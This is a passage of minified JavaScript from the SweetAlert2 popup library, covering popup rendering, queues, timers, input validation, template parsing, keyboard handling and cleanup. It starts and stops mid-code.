Le(n);Me(n,""),n.setAttribute("src",t.imageUrl),n.setAttribute("alt",t.imageAlt),we(n,"width",t.imageWidth),we(n,"height",t.imageHeight),n.className=P.image,he(n,t,"image")},wt=[],Mt=function(e){var t=this;wt=e;var n=function(e,t){wt=[],e(t)},r=[];return new Promise((function(e){!function i(a,o){a<wt.length?(document.body.setAttribute("data-swal2-queue-step",a),t.fire(wt[a]).then((function(t){void 0!==t.value?(r.push(t.value),i(a+1,o)):n(e,{dismiss:t.dismiss})}))):n(e,{value:r})}(0)}))},Lt=function(){return R()&&R().getAttribute("data-queue-step")},kt=function(e,t){return t&&t<wt.length?wt.splice(t,0,e):wt.push(e)},Yt=function(e){void 0!==wt[e]&&wt.splice(e,1)},Dt=function(e){var t=document.createElement("li");return ge(t,P["progress-step"]),ce(t,e),t},Tt=function(e){var t=document.createElement("li");return ge(t,P["progress-step-line"]),e.progressStepsDistance&&(t.style.width=e.progressStepsDistance),t},xt=function(e,t){var n=U();if(!t.progressSteps||0===t.progressSteps.length)return Le(n);Me(n),n.textContent="";var r=parseInt(void 0===t.currentProgressStep?Lt():t.currentProgressStep);r>=t.progressSteps.length&&b("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)"),t.progressSteps.forEach((function(e,i){var a=Dt(e);if(n.appendChild(a),i===r&&ge(a,P["active-progress-step"]),i!==t.progressSteps.length-1){var o=Tt(t);n.appendChild(o)}}))},St=function(e,t){var n=F();Ye(n,t.title||t.titleText,"block"),t.title&&Fe(t.title,n),t.titleText&&(n.innerText=t.titleText),he(n,t,"title")},jt=function(e,t){var n=ee();he(n,t,"header"),xt(e,t),mt(e,t),bt(e,t),St(e,t),ht(e,t)},Ot=function(e,t){var n=R(),r=N();t.toast?(we(n,"width",t.width),r.style.width="100%"):we(r,"width",t.width),we(r,"padding",t.padding),t.background&&(r.style.background=t.background),Le(J()),Ct(r,t)},Ct=function(e,t){e.className="".concat(P.popup," ").concat(De(e)?t.showClass.popup:""),t.toast?(ge([document.documentElement,document.body],P["toast-shown"]),ge(e,P.toast)):ge(e,P.modal),he(e,t,"popup"),"string"==typeof t.customClass&&ge(e,t.customClass),t.icon&&ge(e,P["icon-".concat(t.icon)])},Ht=function(e,t){Ot(e,t),Qe(e,t),jt(e,t),dt(e,t),Je(e,t),ft(e,t),"function"==typeof t.didRender?t.didRender(N()):"function"==typeof t.onRender&&t.onRender(N())},Et=function(){return De(N())},Pt=function(){return V()&&V().click()},At=function(){return G()&&G().click()},Rt=function(){return X()&&X().click()};function It(){for(var e=this,t=arguments.length,n=new Array(t),r=0;r<t;r++)n[r]=arguments[r];return u(e,n)}function Wt(e){return function(n){a(l,n);var s=f(l);function l(){return t(this,l),s.apply(this,arguments)}return r(l,[{key:"_main",value:function(t,n){return m(o(l.prototype),"_main",this).call(this,t,i({},e,n))}}]),l}(this)}var Nt=function(e){var t=N();t||hi.fire(),t=N();var n=Q(),r=Z();!e&&De(V())&&(e=V()),Me(n),e&&(Le(e),r.setAttribute("data-button-to-replace",e.className)),r.parentNode.insertBefore(r,e),ge([t,n],P.loading),Me(r),t.setAttribute("data-loading",!0),t.setAttribute("aria-busy",!0),t.focus()},$t=100,Ft={},zt=function(){Ft.previousActiveElement&&Ft.previousActiveElement.focus?(Ft.previousActiveElement.focus(),Ft.previousActiveElement=null):document.body&&document.body.focus()},Bt=function(e){return new Promise((function(t){if(!e)return t();var n=window.scrollX,r=window.scrollY;Ft.restoreFocusTimeout=setTimeout((function(){zt(),t()}),$t),void 0!==n&&void 0!==r&&window.scrollTo(n,r)}))},qt=function(){return Ft.timeout&&Ft.timeout.getTimerLeft()},Ut=function(){if(Ft.timeout)return Ce(),Ft.timeout.stop()},Jt=function(){if(Ft.timeout){var e=Ft.timeout.start();return Oe(e),e}},Vt=function(){var e=Ft.timeout;return e&&(e.running?Ut():Jt())},Gt=function(e){if(Ft.timeout){var t=Ft.timeout.increase(e);return Oe(t,!0),t}},Kt=function(){return Ft.timeout&&Ft.timeout.isRunning()},Zt=!1,Xt={};function Qt(){Xt[arguments.length>0&&void 0!==arguments[0]?arguments[0]:"data-swal-template"]=this,Zt||(document.body.addEventListener("click",en),Zt=!0)}var en=function(e){for(var t=e.target;t&&t!==document;t=t.parentNode)for(var n in Xt){var r=t.getAttribute(n);if(r)return void Xt[n].fire({template:r})}},tn={title:"",titleText:"",text:"",html:"",footer:"",icon:void 0,iconColor:void 0,iconHtml:void 0,template:void 0,toast:!1,animation:!0,showClass:{popup:"swal2-show",backdrop:"swal2-backdrop-show",icon:"swal2-icon-show"},hideClass:{popup:"swal2-hide",backdrop:"swal2-backdrop-hide",icon:"swal2-icon-hide"},customClass:{},target:"body",backdrop:!0,heightAuto:!0,allowOutsideClick:!0,allowEscapeKey:!0,allowEnterKey:!0,stopKeydownPropagation:!0,keydownListenerCapture:!1,showConfirmButton:!0,showDenyButton:!1,showCancelButton:!1,preConfirm:void 0,preDeny:void 0,confirmButtonText:"OK",confirmButtonAriaLabel:"",confirmButtonColor:void 0,denyButtonText:"No",denyButtonAriaLabel:"",denyButtonColor:void 0,cancelButtonText:"Cancel",cancelButtonAriaLabel:"",cancelButtonColor:void 0,buttonsStyling:!0,reverseButtons:!1,focusConfirm:!0,focusDeny:!1,focusCancel:!1,returnFocus:!0,showCloseButton:!1,closeButtonHtml:"&times;",closeButtonAriaLabel:"Close this dialog",loaderHtml:"",showLoaderOnConfirm:!1,showLoaderOnDeny:!1,imageUrl:void 0,imageWidth:void 0,imageHeight:void 0,imageAlt:"",timer:void 0,timerProgressBar:!1,width:void 0,padding:void 0,background:void 0,input:void 0,inputPlaceholder:"",inputLabel:"",inputValue:"",inputOptions:{},inputAutoTrim:!0,inputAttributes:{},inputValidator:void 0,returnInputValueOnDeny:!1,validationMessage:void 0,grow:!1,position:"center",progressSteps:[],currentProgressStep:void 0,progressStepsDistance:void 0,onBeforeOpen:void 0,onOpen:void 0,willOpen:void 0,didOpen:void 0,onRender:void 0,didRender:void 0,onClose:void 0,onAfterClose:void 0,willClose:void 0,didClose:void 0,onDestroy:void 0,didDestroy:void 0,scrollbarPadding:!0},nn=["allowEscapeKey","allowOutsideClick","background","buttonsStyling","cancelButtonAriaLabel","cancelButtonColor","cancelButtonText","closeButtonAriaLabel","closeButtonHtml","confirmButtonAriaLabel","confirmButtonColor","confirmButtonText","currentProgressStep","customClass","denyButtonAriaLabel","denyButtonColor","denyButtonText","didClose","didDestroy","footer","hideClass","html","icon","iconColor","iconHtml","imageAlt","imageHeight","imageUrl","imageWidth","onAfterClose","onClose","onDestroy","progressSteps","returnFocus","reverseButtons","showCancelButton","showCloseButton","showConfirmButton","showDenyButton","text","title","titleText","willClose"],rn={animation:'showClass" and "hideClass',onBeforeOpen:"willOpen",onOpen:"didOpen",onRender:"didRender",onClose:"willClose",onAfterClose:"didClose",onDestroy:"didDestroy"},an=["allowOutsideClick","allowEnterKey","backdrop","focusConfirm","focusDeny","focusCancel","returnFocus","heightAuto","keydownListenerCapture"],on=function(e){return Object.prototype.hasOwnProperty.call(tn,e)},sn=function(e){return-1!==nn.indexOf(e)},ln=function(e){return rn[e]},un=function(e){on(e)||b('Unknown parameter "'.concat(e,'"'))},cn=function(e){-1!==an.indexOf(e)&&b('The parameter "'.concat(e,'" is incompatible with toasts'))},dn=function(e){ln(e)&&k(e,ln(e))},fn=function(e){for(var t in e)un(t),e.toast&&cn(t),dn(t)},hn=Object.freeze({isValidParameter:on,isUpdatableParameter:sn,isDeprecatedParameter:ln,argsToParams:C,isVisible:Et,clickConfirm:Pt,clickDeny:At,clickCancel:Rt,getContainer:R,getPopup:N,getTitle:F,getContent:z,getHtmlContainer:B,getImage:q,getIcon:$,getInputLabel:K,getCloseButton:re,getActions:Q,getConfirmButton:V,getDenyButton:G,getCancelButton:X,getLoader:Z,getHeader:ee,getFooter:te,getTimerProgressBar:ne,getFocusableElements:ae,getValidationMessage:J,isLoading:le,fire:It,mixin:Wt,queue:Mt,getQueueStep:Lt,insertQueueStep:kt,deleteQueueStep:Yt,showLoading:Nt,enableLoading:Nt,getTimerLeft:qt,stopTimer:Ut,resumeTimer:Jt,toggleTimer:Vt,increaseTimer:Gt,isTimerRunning:Kt,bindClickHandler:Qt});function mn(){if(et.innerParams.get(this)){var e=et.domCache.get(this);Le(e.loader);var t=e.popup.getElementsByClassName(e.loader.getAttribute("data-button-to-replace"));t.length?Me(t[0],"inline-block"):Te()&&Le(e.actions),ve([e.popup,e.actions],P.loading),e.popup.removeAttribute("aria-busy"),e.popup.removeAttribute("data-loading"),e.confirmButton.disabled=!1,e.denyButton.disabled=!1,e.cancelButton.disabled=!1}}function pn(e){var t=et.innerParams.get(e||this),n=et.domCache.get(e||this);return n?me(n.content,t.input):null}var _n=function(){null===ue.previousBodyPadding&&document.body.scrollHeight>window.innerHeight&&(ue.previousBodyPadding=parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right")),document.body.style.paddingRight="".concat(ue.previousBodyPadding+Ue(),"px"))},yn=function(){null!==ue.previousBodyPadding&&(document.body.style.paddingRight="".concat(ue.previousBodyPadding,"px"),ue.previousBodyPadding=null)},gn=function(){if((/iPad|iPhone|iPod/.test(navigator.userAgent)&&!window.MSStream||"MacIntel"===navigator.platform&&navigator.maxTouchPoints>1)&&!de(document.body,P.iosfix)){var e=document.body.scrollTop;document.body.style.top="".concat(-1*e,"px"),ge(document.body,P.iosfix),bn(),vn()}},vn=function(){if(!navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i)){var e=44;N().scrollHeight>window.innerHeight-e&&(R().style.paddingBottom="".concat(e,"px"))}},bn=function(){var e,t=R();t.ontouchstart=function(t){e=wn(t)},t.ontouchmove=function(t){e&&(t.preventDefault(),t.stopPropagation())}},wn=function(e){var t=e.target,n=R();return!(Mn(e)||Ln(e)||t!==n&&(xe(n)||"INPUT"===t.tagName||xe(z())&&z().contains(t)))},Mn=function(e){return e.touches&&e.touches.length&&"stylus"===e.touches[0].touchType},Ln=function(e){return e.touches&&e.touches.length>1},kn=function(){if(de(document.body,P.iosfix)){var e=parseInt(document.body.style.top,10);ve(document.body,P.iosfix),document.body.style.top="",document.body.scrollTop=-1*e}},Yn=function(){return!!window.MSInputMethodContext&&!!document.documentMode},Dn=function(){var e=R(),t=N();e.style.removeProperty("align-items"),t.offsetTop<0&&(e.style.alignItems="flex-start")},Tn=function(){"undefined"!=typeof window&&Yn()&&(Dn(),window.addEventListener("resize",Dn))},xn=function(){"undefined"!=typeof window&&Yn()&&window.removeEventListener("resize",Dn)},Sn=function(){v(document.body.children).forEach((function(e){e===R()||je(e,R())||(e.hasAttribute("aria-hidden")&&e.setAttribute("data-previous-aria-hidden",e.getAttribute("aria-hidden")),e.setAttribute("aria-hidden","true"))}))},jn=function(){v(document.body.children).forEach((function(e){e.hasAttribute("data-previous-aria-hidden")?(e.setAttribute("aria-hidden",e.getAttribute("data-previous-aria-hidden")),e.removeAttribute("data-previous-aria-hidden")):e.removeAttribute("aria-hidden")}))},On={swalPromiseResolve:new WeakMap};function Cn(e,t,n,r){se()?Wn(e,r):(Bt(n).then((function(){return Wn(e,r)})),Ft.keydownTarget.removeEventListener("keydown",Ft.keydownHandler,{capture:Ft.keydownListenerCapture}),Ft.keydownHandlerAdded=!1),t.parentNode&&!document.body.getAttribute("data-swal2-queue-step")&&t.parentNode.removeChild(t),oe()&&(yn(),kn(),xn(),jn()),Hn()}function Hn(){ve([document.documentElement,document.body],[P.shown,P["height-auto"],P["no-backdrop"],P["toast-shown"]])}function En(e){var t=N();if(t){e=Pn(e);var n=et.innerParams.get(this);if(n&&!de(t,n.hideClass.popup)){var r=On.swalPromiseResolve.get(this);ve(t,n.showClass.popup),ge(t,n.hideClass.popup);var i=R();ve(i,n.showClass.backdrop),ge(i,n.hideClass.backdrop),An(this,t,n),r(e)}}}var Pn=function(e){return void 0===e?{isConfirmed:!1,isDenied:!1,isDismissed:!0}:i({isConfirmed:!1,isDenied:!1,isDismissed:!1},e)},An=function(e,t,n){var r=R(),i=qe&&Se(t),a=n.onClose,o=n.onAfterClose,s=n.willClose,l=n.didClose;Rn(t,s,a),i?In(e,t,r,n.returnFocus,l||o):Cn(e,r,n.returnFocus,l||o)},Rn=function(e,t,n){null!==t&&"function"==typeof t?t(e):null!==n&&"function"==typeof n&&n(e)},In=function(e,t,n,r,i){Ft.swalCloseEventFinishedCallback=Cn.bind(null,e,n,r,i),t.addEventListener(qe,(function(e){e.target===t&&(Ft.swalCloseEventFinishedCallback(),delete Ft.swalCloseEventFinishedCallback)}))},Wn=function(e,t){setTimeout((function(){"function"==typeof t&&t(),e._destroy()}))};function Nn(e,t,n){var r=et.domCache.get(e);t.forEach((function(e){r[e].disabled=n}))}function $n(e,t){if(!e)return!1;if("radio"===e.type)for(var n=e.parentNode.parentNode.querySelectorAll("input"),r=0;r<n.length;r++)n[r].disabled=t;else e.disabled=t}function Fn(){Nn(this,["confirmButton","denyButton","cancelButton"],!1)}function zn(){Nn(this,["confirmButton","denyButton","cancelButton"],!0)}function Bn(){return $n(this.getInput(),!1)}function qn(){return $n(this.getInput(),!0)}function Un(e){var t=et.domCache.get(this),n=et.innerParams.get(this);ce(t.validationMessage,e),t.validationMessage.className=P["validation-message"],n.customClass&&n.customClass.validationMessage&&ge(t.validationMessage,n.customClass.validationMessage),Me(t.validationMessage);var r=this.getInput();r&&(r.setAttribute("aria-invalid",!0),r.setAttribute("aria-describedBy",P["validation-message"]),_e(r),ge(r,P.inputerror))}function Jn(){var e=et.domCache.get(this);e.validationMessage&&Le(e.validationMessage);var t=this.getInput();t&&(t.removeAttribute("aria-invalid"),t.removeAttribute("aria-describedBy"),ve(t,P.inputerror))}function Vn(){return et.domCache.get(this).progressSteps}var Gn=function(){function e(n,r){t(this,e),this.callback=n,this.remaining=r,this.running=!1,this.start()}return r(e,[{key:"start",value:function(){return this.running||(this.running=!0,this.started=new Date,this.id=setTimeout(this.callback,this.remaining)),this.remaining}},{key:"stop",value:function(){return this.running&&(this.running=!1,clearTimeout(this.id),this.remaining-=new Date-this.started),this.remaining}},{key:"increase",value:function(e){var t=this.running;return t&&this.stop(),this.remaining+=e,t&&this.start(),this.remaining}},{key:"getTimerLeft",value:function(){return this.running&&(this.stop(),this.start()),this.remaining}},{key:"isRunning",value:function(){return this.running}}]),e}(),Kn={email:function(e,t){return/^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(e)?Promise.resolve():Promise.resolve(t||"Invalid email address")},url:function(e,t){return/^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(e)?Promise.resolve():Promise.resolve(t||"Invalid URL")}};function Zn(e){e.inputValidator||Object.keys(Kn).forEach((function(t){e.input===t&&(e.inputValidator=Kn[t])}))}function Xn(e){(!e.target||"string"==typeof e.target&&!document.querySelector(e.target)||"string"!=typeof e.target&&!e.target.appendChild)&&(b('Target parameter is not valid, defaulting to "body"'),e.target="body")}function Qn(e){Zn(e),e.showLoaderOnConfirm&&!e.preConfirm&&b("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request"),e.animation=Y(e.animation),Xn(e),"string"==typeof e.title&&(e.title=e.title.split("\n").join("<br />")),$e(e)}var er=["swal-title","swal-html","swal-footer"],tr=function(e){var t="string"==typeof e.template?document.querySelector(e.template):e.template;if(!t)return{};var n=t.content||t;return lr(n),i(nr(n),rr(n),ir(n),ar(n),or(n),sr(n,er))},nr=function(t){var n={};return v(t.querySelectorAll("swal-param")).forEach((function(t){ur(t,["name","value"]);var r=t.getAttribute("name"),i=t.getAttribute("value");"boolean"==typeof tn[r]&&"false"===i&&(i=!1),"object"===e(tn[r])&&(i=JSON.parse(i)),n[r]=i})),n},rr=function(e){var t={};return v(e.querySelectorAll("swal-button")).forEach((function(e){ur(e,["type","color","aria-label"]);var n=e.getAttribute("type");t["".concat(n,"ButtonText")]=e.innerHTML,t["show".concat(y(n),"Button")]=!0,e.hasAttribute("color")&&(t["".concat(n,"ButtonColor")]=e.getAttribute("color")),e.hasAttribute("aria-label")&&(t["".concat(n,"ButtonAriaLabel")]=e.getAttribute("aria-label"))})),t},ir=function(e){var t={},n=e.querySelector("swal-image");return n&&(ur(n,["src","width","height","alt"]),n.hasAttribute("src")&&(t.imageUrl=n.getAttribute("src")),n.hasAttribute("width")&&(t.imageWidth=n.getAttribute("width")),n.hasAttribute("height")&&(t.imageHeight=n.getAttribute("height")),n.hasAttribute("alt")&&(t.imageAlt=n.getAttribute("alt"))),t},ar=function(e){var t={},n=e.querySelector("swal-icon");return n&&(ur(n,["type","color"]),n.hasAttribute("type")&&(t.icon=n.getAttribute("type")),n.hasAttribute("color")&&(t.iconColor=n.getAttribute("color")),t.iconHtml=n.innerHTML),t},or=function(e){var t={},n=e.querySelector("swal-input");n&&(ur(n,["type","label","placeholder","value"]),t.input=n.getAttribute("type")||"text",n.hasAttribute("label")&&(t.inputLabel=n.getAttribute("label")),n.hasAttribute("placeholder")&&(t.inputPlaceholder=n.getAttribute("placeholder")),n.hasAttribute("value")&&(t.inputValue=n.getAttribute("value")));var r=e.querySelectorAll("swal-input-option");return r.length&&(t.inputOptions={},v(r).forEach((function(e){ur(e,["value"]);var n=e.getAttribute("value"),r=e.innerHTML;t.inputOptions[n]=r}))),t},sr=function(e,t){var n={};for(var r in t){var i=t[r],a=e.querySelector(i);a&&(ur(a,[]),n[i.replace(/^swal-/,"")]=a.innerHTML.trim())}return n},lr=function(e){var t=er.concat(["swal-param","swal-button","swal-image","swal-icon","swal-input","swal-input-option"]);v(e.querySelectorAll("*")).forEach((function(n){if(n.parentNode===e){var r=n.tagName.toLowerCase();-1===t.indexOf(r)&&b("Unrecognized element <".concat(r,">"))}}))},ur=function(e,t){v(e.attributes).forEach((function(n){-1===t.indexOf(n.name)&&b(['Unrecognized attribute "'.concat(n.name,'" on <').concat(e.tagName.toLowerCase(),">."),"".concat(t.length?"Allowed attributes are: ".concat(t.join(", ")):"To set the value, use HTML within the element.")])}))},cr=10,dr=function(e){var t=R(),n=N();"function"==typeof e.willOpen?e.willOpen(n):"function"==typeof e.onBeforeOpen&&e.onBeforeOpen(n);var r=window.getComputedStyle(document.body).overflowY;_r(t,n,e),setTimeout((function(){mr(t,n)}),cr),oe()&&(pr(t,e.scrollbarPadding,r),Sn()),se()||Ft.previousActiveElement||(Ft.previousActiveElement=document.activeElement),fr(n,e),ve(t,P["no-transition"])},fr=function(e,t){"function"==typeof t.didOpen?setTimeout((function(){return t.didOpen(e)})):"function"==typeof t.onOpen&&setTimeout((function(){return t.onOpen(e)}))},hr=function e(t){var n=N();if(t.target===n){var r=R();n.removeEventListener(qe,e),r.style.overflowY="auto"}},mr=function(e,t){qe&&Se(t)?(e.style.overflowY="hidden",t.addEventListener(qe,hr)):e.style.overflowY="auto"},pr=function(e,t,n){gn(),Tn(),t&&"hidden"!==n&&_n(),setTimeout((function(){e.scrollTop=0}))},_r=function(e,t,n){ge(e,n.showClass.backdrop),t.style.setProperty("opacity","0","important"),Me(t),setTimeout((function(){ge(t,n.showClass.popup),t.style.removeProperty("opacity")}),cr),ge([document.documentElement,document.body],P.shown),n.heightAuto&&n.backdrop&&!n.toast&&ge([document.documentElement,document.body],P["height-auto"])},yr=function(e,t){"select"===t.input||"radio"===t.input?Mr(e,t):-1!==["text","email","number","tel","textarea"].indexOf(t.input)&&(D(t.inputValue)||x(t.inputValue))&&Lr(e,t)},gr=function(e,t){var n=e.getInput();if(!n)return null;switch(t.input){case"checkbox":return vr(n);case"radio":return br(n);case"file":return wr(n);default:return t.inputAutoTrim?n.value.trim():n.value}},vr=function(e){return e.checked?1:0},br=function(e){return e.checked?e.value:null},wr=function(e){return e.files.length?null!==e.getAttribute("multiple")?e.files:e.files[0]:null},Mr=function(t,n){var r=z(),i=function(e){return kr[n.input](r,Yr(e),n)};D(n.inputOptions)||x(n.inputOptions)?(Nt(V()),T(n.inputOptions).then((function(e){t.hideLoading(),i(e)}))):"object"===e(n.inputOptions)?i(n.inputOptions):w("Unexpected type of inputOptions! Expected object, Map or Promise, got ".concat(e(n.inputOptions)))},Lr=function(e,t){var n=e.getInput();Le(n),T(t.inputValue).then((function(r){n.value="number"===t.input?parseFloat(r)||0:"".concat(r),Me(n),n.focus(),e.hideLoading()})).catch((function(t){w("Error in inputValue promise: ".concat(t)),n.value="",Me(n),n.focus(),e.hideLoading()}))},kr={select:function(e,t,n){var r=be(e,P.select),i=function(e,t,r){var i=document.createElement("option");i.value=r,ce(i,t),i.selected=Dr(r,n.inputValue),e.appendChild(i)};t.forEach((function(e){var t=e[0],n=e[1];if(Array.isArray(n)){var a=document.createElement("optgroup");a.label=t,a.disabled=!1,r.appendChild(a),n.forEach((function(e){return i(a,e[1],e[0])}))}else i(r,n,t)})),r.focus()},radio:function(e,t,n){var r=be(e,P.radio);t.forEach((function(e){var t=e[0],i=e[1],a=document.createElement("input"),o=document.createElement("label");a.type="radio",a.name=P.radio,a.value=t,Dr(t,n.inputValue)&&(a.checked=!0);var s=document.createElement("span");ce(s,i),s.className=P.label,o.appendChild(a),o.appendChild(s),r.appendChild(o)}));var i=r.querySelectorAll("input");i.length&&i[0].focus()}},Yr=function t(n){var r=[];return"undefined"!=typeof Map&&n instanceof Map?n.forEach((function(n,i){var a=n;"object"===e(a)&&(a=t(a)),r.push([i,a])})):Object.keys(n).forEach((function(i){var a=n[i];"object"===e(a)&&(a=t(a)),r.push([i,a])})),r},Dr=function(e,t){return t&&t.toString()===e.toString()},Tr=function(e,t){e.disableButtons(),t.input?jr(e,t,"confirm"):Er(e,t,!0)},xr=function(e,t){e.disableButtons(),t.returnInputValueOnDeny?jr(e,t,"deny"):Cr(e,t,!1)},Sr=function(e,t){e.disableButtons(),t(S.cancel)},jr=function(e,t,n){var r=gr(e,t);t.inputValidator?Or(e,t,r):e.getInput().checkValidity()?"deny"===n?Cr(e,t,r):Er(e,t,r):(e.enableButtons(),e.showValidationMessage(t.validationMessage))},Or=function(e,t,n){e.disableInput(),Promise.resolve().then((function(){return T(t.inputValidator(n,t.validationMessage))})).then((function(r){e.enableButtons(),e.enableInput(),r?e.showValidationMessage(r):Er(e,t,n)}))},Cr=function(e,t,n){t.showLoaderOnDeny&&Nt(G()),t.preDeny?Promise.resolve().then((function(){return T(t.preDeny(n,t.validationMessage))})).then((function(t){!1===t?e.hideLoading():e.closePopup({isDenied:!0,value:void 0===t?n:t})})):e.closePopup({isDenied:!0,value:n})},Hr=function(e,t){e.closePopup({isConfirmed:!0,value:t})},Er=function(e,t,n){t.showLoaderOnConfirm&&Nt(),t.preConfirm?(e.resetValidationMessage(),Promise.resolve().then((function(){return T(t.preConfirm(n,t.validationMessage))})).then((function(t){De(J())||!1===t?e.hideLoading():Hr(e,void 0===t?n:t)}))):Hr(e,n)},Pr=function(e,t,n,r){t.keydownTarget&&t.keydownHandlerAdded&&(t.keydownTarget.removeEventListener("keydown",t.keydownHandler,{capture:t.keydownListenerCapture}),t.keydownHandlerAdded=!1),n.toast||(t.keydownHandler=function(t){return Nr(e,t,r)},t.keydownTarget=n.keydownListenerCapture?window:N(),t.keydownListenerCapture=n.keydownListenerCapture,t.keydownTarget.addEventListener("keydown",t.keydownHandler,{capture:t.keydownListenerCapture}),t.keydownHandlerAdded=!0)},Ar=function(e,t,n){var r=ae();if(r.length)return(t+=n)===r.length?t=0:-1===t&&(t=r.length-1),r[t].focus();N().focus()},Rr=["ArrowRight","ArrowDown","Right","Down"],Ir=["ArrowLeft","ArrowUp","Left","Up"],Wr=["Escape","Esc"],Nr=function(e,t,n){var r=et.innerParams.get(e);r&&(r.stopKeydownPropagation&&t.stopPropagation(),"Enter"===t.key?$r(e,t,r):"Tab"===t.key?Fr(t,r):-1!==[].concat(Rr,Ir).indexOf(t.key)?zr(t.key):-1!==Wr.indexOf(t.key)&&Br(t,r,n))},$r=function(e,t,n){if(!t.isComposing&&t.target&&e.getInput()&&t.target.outerHTML===e.getInput().outerHTML){if(-1!==["textarea","file"].indexOf(n.input))return;Pt(),t.preventDefault()}},Fr=function(e,t){for(var n=e.target,r=ae(),i=-1,a=0;a<r.length;a++)if(n===r[a]){i=a;break}e.shiftKey?Ar(t,i,-1):Ar(t,i,1),e.stopPropagation(),e.preventDefault()},zr=function(e){if(-1!==[V(),G(),X()].indexOf(document.activeElement)){var t=-1!==Rr.indexOf(e)?"nextElementSibling":"previousElementSibling",n=document.activeElement[t];n&&n.focus()}},Br=function(e,t,n){Y(t.allowEscapeKey)&&(e.preventDefault(),n(S.esc))},qr=function(e,t,n){et.innerParams.get(e).toast?Ur(e,t,n):(Vr(t),Gr(t),Kr(e,t,n))},Ur=function(e,t,n){t.popup.onclick=function(){var t=et.innerParams.get(e);t.showConfirmButton||t.showDenyButton||t.showCancelButton||t.showCloseButton||t.timer||t.input||n(S.close)}},Jr=!1,Vr=function(e){e.popup.onmousedown=function(){e.container.onmouseup=function(t){e.container.onmouseup=void 0,t.target===e.container&&(Jr=!0)}}},Gr=function(e){e.container.onmousedown=function(){e.popup.onmouseup=function(t){e.popup.onmouseup=void 0,(t.target===e.popup||e.popup.contains(t.target))&&(Jr=!0)}}},Kr=function(e,t,n){t.container.onclick=function(r){var i=et.innerParams.get(e);Jr?Jr=!1:r.target===t.container&&Y(i.allowOutsideClick)&&n(S.backdrop)}};function Zr(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};fn(i({},t,e)),Ft.currentInstance&&Ft.currentInstance._destroy(),Ft.currentInstance=this;var n=Xr(e,t);Qn(n),Object.freeze(n),Ft.timeout&&(Ft.timeout.stop(),delete Ft.timeout),clearTimeout(Ft.restoreFocusTimeout);var r=ei(this);return Ht(this,n),et.innerParams.set(this,n),Qr(this,r,n)}var Xr=function(e,t){var n=tr(e),r=i({},tn,t,n,e);return r.showClass=i({},tn.showClass,r.showClass),r.hideClass=i({},tn.hideClass,r.hideClass),!1===e.animation&&(r.showClass={popup:"swal2-noanimation",backdrop:"swal2-noanimation"},r.hideClass={}),r},Qr=function(e,t,n){return new Promise((function(r){var i=function(t){e.closePopup({isDismissed:!0,dismiss:t})};On.swalPromiseResolve.set(e,r),t.confirmButton.onclick=function(){return Tr(e,n)},t.denyButton.onclick=function(){return xr(e,n)},t.cancelButton.onclick=function(){return Sr(e,i)},t.closeButton.onclick=function(){return i(S.close)},qr(e,t,i),Pr(e,Ft,n,i),yr(e,n),dr(n),ti(Ft,n,i),ni(t,n),setTimeout((function(){t.container.scrollTop=0}))}))},ei=function(e){var t={popup:N(),container:R(),content:z(),actions:Q(),confirmButton:V(),denyButton:G(),cancelButton:X(),loader:Z(),closeButton:re(),validationMessage:J(),progressSteps:U()};return et.domCache.set(e,t),t},ti=function(e,t,n){var r=ne();Le(r),t.timer&&(e.timeout=new Gn((function(){n("timer"),delete e.timeout}),t.timer),t.timerProgressBar&&(Me(r),setTimeout((function(){e.timeout&&e.timeout.running&&Oe(t.timer)}))))},ni=function(e,t){if(!t.toast)return Y(t.allowEnterKey)?void(ri(e,t)||Ar(t,-1,1)):ii()},ri=function(e,t){return t.focusDeny&&De(e.denyButton)?(e.denyButton.focus(),!0):t.focusCancel&&De(e.cancelButton)?(e.cancelButton.focus(),!0):!(!t.focusConfirm||!De(e.confirmButton)||(e.confirmButton.focus(),0))},ii=function(){document.activeElement&&"function"==typeof document.activeElement.blur&&document.activeElement.blur()};function ai(e){var t=N(),n=et.innerParams.get(this);if(!t||de(t,n.hideClass.popup))return b("You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.");var r={};Object.keys(e).forEach((function(t){hi.isUpdatableParameter(t)?r[t]=e[t]:b('Invalid parameter to update: "'.concat(t,'". Updatable params are listed here: https://github.com/sweetalert2/sweetalert2/blob/master/src/utils/params.js\n\nIf you think this parameter should be updatable, request it here: https://github.com/sweetalert2/sweetalert2/issues/new?template=02_feature_request.md'))}));var a=i({},n,r);Ht(this,a),et.innerParams.set(this,a),Object.defineProperties(this,{params:{value:i({},this.params,e),writable:!1,enumerable:!0}})}function oi(){var e=et.domCache.get(this),t=et.innerParams.get(this);t&&(e.popup&&Ft.swalCloseEventFinishedCallback&&(Ft.swalCloseEventFinishedCallback(),delete Ft.swalCloseEventFinishedCallback),Ft.deferDisposalTimer&&(clearTimeout(Ft.deferDisposalTimer),delete Ft.deferDisposalTimer),li(t),ui(this))}var si,li=function(e){"function"==typeof e.didDestroy?e.didDestroy():"function"==typeof e.onDestroy&&e.onDestroy()},ui=function(e){delete e.params,delete Ft.keydownHandler,delete Ft.keydownTarget,ci(et),ci(On)},ci=function(e){for(var t in e)e[t]=new WeakMap},di=Object.freeze({hideLoading:mn,disableLoading:mn,getInput:pn,close:En,closePopup:En,closeModal:En,closeToast:En,enableButtons:Fn,disableButtons:zn,enableInput:Bn,disableInput:qn,showValidationMessage:Un,resetValidationMessage:Jn,getProgressSteps:Vn,_main:Zr,update:ai,_destroy:oi}),fi=function(){function e(){if(t(this,e),"undefined"!=typeof window){"undefined"==typeof Promise&&w("This package requires a Promise library, please include a shim to enable it in this browser (See: https://github.com/sweetalert2/sweetalert2/wiki/Migration-from-SweetAlert-to-SweetAlert2#1-ie-support)"),si=this;for(var n=arguments.length,r=new Array(n),i=0;i<n;i++)r[i]=arguments[i];var a=Object.freeze(this.constructor.argsToParams(r));Object.defineProperties(this,{params:{value:a,writable:!1,enumerable:!0,configurable:!0}});var 